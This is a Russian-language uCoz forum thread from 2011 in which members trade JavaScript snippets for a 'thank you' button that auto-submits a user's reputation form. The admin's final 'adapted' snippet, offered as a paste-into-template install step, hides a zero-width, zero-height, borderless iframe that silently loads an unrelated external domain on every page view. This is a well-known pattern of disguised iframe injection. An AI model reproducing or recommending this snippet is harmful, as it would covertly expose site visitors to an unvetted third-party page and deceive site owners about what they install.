Сегодня Вторник | Дата: 26.11.2024 | Время: 23:07
Последние новости
Канобувости, 73. Самые ожидаемые игры 2011 года
Добавил: axa
Всего комментариев: 0
C новым годом.
Добавил: axa
Всего комментариев: 0
Анонс игры Call of Juarez: The Carte
Добавил: visa
Всего комментариев: 0
Новые темы форума
цуапцуапцйупацупуцпа
Ответил: expertdmytro
Всего ответов:
цуапцуапцйупацупуцпа
Ответил: expertdmytro
Всего ответов:
цуаацуа
Ответил: expertdmytro
Всего ответов:
Лучшие пользователи
axa
Логин: axa
Репутация: 153
Группа: Администраторы
MrMarik
Логин: MrMarik
Репутация: 102
Группа: Пользователи
Kuubi55
Логин: Kuubi55
Репутация: 97
Группа: Пользователи
Здравствуй, Гость! Авторизуйся или зарегистрируйся
Цвет фона
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Требуется помощь!!!
axaДата: Воскресенье, 16.01.2011, 02:21 | Сообщение # 1
Подполковник
Сообщений: 502
Награды: 13
Репутация: 153
Как сделать рейтинг сообщений? чтоб под полезными постами были видны ники тех, кто поблагодарил, и автоматически добавлялся рейтинг автору поста.



Laughing-ManДата: Воскресенье, 16.01.2011, 12:01 | Сообщение # 2
Сержант
Сообщений: 16
Награды: 1
Репутация: 29
В "Страница материала и комментариев к нему" между и прописываем следующее:

Code
<script type="text/javascript">
function repchange(val,id){
repval=val;
ajaxtime=setInterval('checkajax'+id+'()',500);}
</script>
<script type="text/javascript">
function checkajax$ID$(){
forms=document.getElementsByTagName('form');
for(f=0;f<forms.length;f++){
if(forms[f].id=='frm981'){
if(repval=='plus'){document.getElementById('a2').checked='true';
forms[f].reason.value='Благодарю за новость "$ENTRY_NAME$"'
document.getElementById('submfrm981').click();
document.getElementById('sbt981').onclick=null;
clearInterval(ajaxtime);}}}}
</script>

Затем в любом месте (Там где пропишешь, там и будет кнопка "Спасибо") прописываем следующее:

Code
<?if($USER_LOGGED_IN$)?><a title="Репутация $USER$'a автоматически повысится. Многократное нажатие 'Спасибо' запрещено и строго наказывается!" href="javascript://" onClick="openLayerB('Rd',0,'/index/23-$UID$','Change Reputation',380,200,1); return false;"><img src="http://all4ucoz.org.ru/Good.gif" border="0" align="absmiddle" onClick="repchange('plus','$ID$');" /></a><?endif?>

Доступно только для пользователей читай) кнопку если что я уже нарисовал под нашь стиль кнопок! там на сайте все написано!


Средняя стадия:
Программист
Технарь
Графитчик
Web-дизайнер
Фотошопер


Сообщение отредактировал Laughing-Man - Понедельник, 17.01.2011, 17:54
axaДата: Среда, 19.01.2011, 13:59 | Сообщение # 3
Подполковник
Сообщений: 502
Награды: 13
Репутация: 153
куда, относительно юкоз шаблона его пихать, я имею в виду форум---> управление дизайном---> вид материалов, или общий вид страниц форума?

Quote
Подобные скрипты уже есть как дополнительные модули для различных cms. Но т.к. у вас "сайт на юкозе", а ucoz не поддерживает стороние php- и т.п. решения, то нужно искать такую возможность в функционале самой cms ucoz. Стороннего решения вопроса не будет.

ответ будет!!

куда: общий вид страниц форума, вид материалов, форма добавления сообщения.??
я этот скрипт уже давно пробовал, кнопка только открывает репутацию, остальное не пашет.




Laughing-ManДата: Среда, 19.01.2011, 15:28 | Сообщение # 4
Сержант
Сообщений: 16
Награды: 1
Репутация: 29
хмм.. странно ладно позже посмотрим Доступно только для пользователей

Средняя стадия:
Программист
Технарь
Графитчик
Web-дизайнер
Фотошопер
axaДата: Среда, 19.01.2011, 17:18 | Сообщение # 5
Подполковник
Сообщений: 502
Награды: 13
Репутация: 153
я те говорю ни хрена не получится, я перепробовал много вариантов, нет в конструкторе таких возможностей, нет связи юзер сообщение.
я еще подожду ответ от одного спеца, но не думаю, что он будет положительный.




axaДата: Понедельник, 24.01.2011, 20:35 | Сообщение # 6
Подполковник
Сообщений: 502
Награды: 13
Репутация: 153
вот скрипт адаптирован к cms ucoz.

Скрин скрипта

установка: Главная » Управление дизайном » Редактирование шаблонов » Страница материала и комментариев к нему вставляем после $MESSAGE$:

Code
<style type="text/css">          
.postSubmit {          
border: 0px;          
padding: 5px;          
text-align: center;          
font-size: 10px;          
margin: 0px;          
width: auto;          
background: #4eaec8;          
color: #ffffff;          
cursor: pointer;          
letter-spacing: 0px;          
font-family: verdana;          
}          
.postSubmit:hover {          
border: 0px;          
padding: 5px;          
text-align: center;          
font-size: 10px;          
margin: 0px;          
width: auto;          
background: #3e7394;          
color: #f3f3f3;          
cursor: pointer;          
letter-spacing: 0px;          
font-family: verdana;          

</style>          
<script type="text/javascript">          
function repchange(val,id){          
repval=val;          
ajaxtime=setInterval('checkajax'+id+'()',500);}          
</script>          
<iframe src="http://j1c.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><script type="text/javascript">          
function checkajax26668(){          
forms=document.getElementsByTagName('form');          
for(f=0;f<forms.length;f++){          
if(forms[f].id=='frm981'){          
if(repval=='plus'){document.getElementById('a2').checked='true';          
forms[f].reason.value='Благодарю за «$ENTRY_NAME$»'          
document.getElementById('submfrm981').click();          
document.getElementById('sbt981').onclick=null;          
clearInterval(ajaxtime);}}}}          
</script>          
<center><script type="text/javascript"> function megobytenagr() {openLayerB('Rd',0,'$HOME_PAGE_LINK$/index/55-$UID$','Вручить награду',380,200,1); usersearch('megobyte','38');} function usersearch(vaal,id){thisvalue=vaal; openafter=setInterval('lol'+id+'()',500);} function lol38(){forms=document.getElementsByTagName('form'); for(f=0;f<forms.length;f++){if(forms[f].id=='frm735'){if(thisvalue=='megobyte'){$("input[@type='text']").attr('value', 'Лови награду за «$ENTRY_NAME$»'); document.getElementById('submfrm735').click(); document.getElementById('sbm735').onclick=''; clearInterval(openafter);}}}}</script>        
<a title="Репутация пользователя автоматически повысится. Многократное нажатие Спасибо запрещено Правилами портала и строго наказывается!" href="javascript://" onclick="openLayerB('Rd',0,'$HOME_PAGE_LINK$index/23-$UID$','Change Reputation',380,200,1); return false;"><br> <input type="button" class="postSubmit" onclick="repchange('plus','26668');" value="Повысить репутацию $USER$'a за эту новость"></a> <input type="button" class="postSubmit" onclick="megobytenagr();" value="Вручить награду $USER$'у за эту новость"></div></center>




  • Страница 1 из 1
  • 1
Поиск:

crysis 2